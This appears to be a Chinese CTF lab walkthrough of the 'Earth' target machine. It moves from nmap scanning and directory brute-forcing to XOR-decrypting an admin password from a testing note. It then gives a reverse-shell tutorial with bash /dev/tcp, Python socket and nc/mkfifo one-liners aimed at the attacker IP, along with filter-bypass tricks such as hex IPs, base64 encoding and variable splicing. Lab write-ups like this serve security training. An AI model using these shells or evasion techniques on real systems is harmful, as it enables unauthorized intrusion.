前言
攻击机IP:192.168.1.4
靶机IP:192.168.1.5
一、信息收集
nmap -sV --min--rate 10000 -p- 192.168.1.5
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
经过初步扫描,我们可以发现开放了22、80、443端口,于是可以进行更加详细的扫描和漏洞发现,与此同时去查看了web服务,奇怪的是显示404。通过进一步扫描结果可以发现,它的ip的DNS解析指向两个域名
DNS:earth.local, DNS:terratest.earth.local
为了使得对域名的解析指向这个ip,我们需要在hosts文件中加上这样一条:192.168.1.5 earth.local terratest.earth.local
然后就可以正常访问,发现两个不同的域名他们的web页面都一样,有一个输入框,根据背景,应该是地面人员向太空传递信息用的,随便输点东西,会出来一些字符串;但是根据漏洞扫描结果,没有xss和csrf,用dnslogs测了一下,确实没有xss,并且根据对网页源码的观察可以发现对csrf进行了防护。漏洞扫描结果告诉我们,可以去访问它的/icons,但是吧,并没有有效信息。去看了下https页面,同样没啥东西。
对两个域名的http和https页面进行目录爆破。通过爆破,我们不难发现,开放了一个admin登录页面,需要账号密码;还有一个值得关注的是:在对https://terratest.earth.local的目录扫描中,意外发现了一个robots.txt
二、漏洞发现
我们通过访问发现,是一些被禁止的东西,可能是管理员告诉robot去禁止这些,但是最后一个testingnote貌似跟别人不太一样。想想它的意思,测试笔记?去访问一下看看,试了一些后缀php,html等发现是一个txt。
这个测试笔记有一些非常有用的信息,第一知道了admin登录页面的账号,第二知道了web页面的数据原来是通过xor加密来传递信息,想到原来web页面下面拿三串字符串,可能解密一下会有东西,第三就是这个testdata
XOR加密
加密:密文 C = 明文 P ⊕ 密钥 K
解密:明文 P = 密文 C ⊕ 密钥 K
三、漏洞利用
先去看一下这个testdata.txt,哇,发现一段废话。骗你的。根据xor的原理,如果把web页面的字符串当成密文,我们想要知道明文,就需要密钥,那么这一段废话是不是密钥呢🧐
试着解密一下吧;在线工具
对web页面的三条字符串解密
第一个:没啥用
第二个:没啥用
第三个:
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
很明显前两个没啥用,但是第三个在不断重复着earthclimatechangebad4humans,所以我们可以去尝试登录,发现ssh登不上去,但是admin页面可以
登上去以后,发现是一个输入框,并且可以执行一些命令
于是可以反弹shell:bash -i >& /dec/tcp/192.168.1.4/6666 0>&1 ;提前在kali上打开监听端口nc -lvnp 6666。但是什么都没有监听到,并且显示remote connections are forbidden,应该是是被过滤掉了,所以要尝试绕过。这里有把ip转为16进制,或者对命令进行base64编码两种方法
就此获得立足点
反弹shell
1.原理
让靶机主动连接我们的kali:靶机通常在内网或防火墙后面,外部很难直接连进去;但很多环境允许内网向外发起连接。所以让靶机主动连回攻击机,更容易打通。
2.准备工作(其实感觉可能大概应该也不用这么繁琐🥺)
在反弹shell之前需要做的
1.确认操作系统:uname -a
2.探测环境里有哪些工具
which bash pythin python3 nc php perl
3.测过滤规则
测试纯文本:echo hello,如果出来hello 说明一些基本命令没被过滤
测试特殊字符:echo /dec/tcp,如果报错,说明这个关键字符被拉黑
测试ip格式:echo 127.0.0.1,如果报错,说明不能用点分十进制,可以转为16进制
测试base64:echo dGVzdA== base64 -d (这是 test 的 base64),如果输出test ,说明可以用base64去绕过一些过滤
3.反弹策略
根据探测结果,选择反弹策略
A.bash -i >& /dec/tcp/ip/6666 0>&1
过滤字符串的话就16进制转换、base64编码绕过;过滤关键字的话就str=dev;/${str}/tcp/…去进行变量拼接;
B.
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])`
注意:如果 (“IP”,6666) 里的 IP 被拦截,也需要把整个 Python 代码转 Base64 执行。如果bin/sh被过滤,可以尝试用?替代h或者打乱写法
C.nc
如果支持-e参数就nc -e /bin/sh KaliIP 6666
如果不支持,就要用到linux的管道功能,把nc的输入输出与shell绑定起来:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc KaliIP 6666 > /tmp/f
如果/bin/sh被过滤,需要考虑用shell代替sh,或者base64
原理:
-
mkfifo /tmp/f:在 /tmp 下创建一个叫 f 的特殊文件(命名管道)。 -
cat /tmp/f | /bin/sh -i 2>&1:把管道里的内容交给 shell 执行,并把 shell 的结果(包含错误)重新丢出来。 -
nc 你的IP 6666 > /tmp/f:把 nc 连上Kali,并把收到的内容塞进管道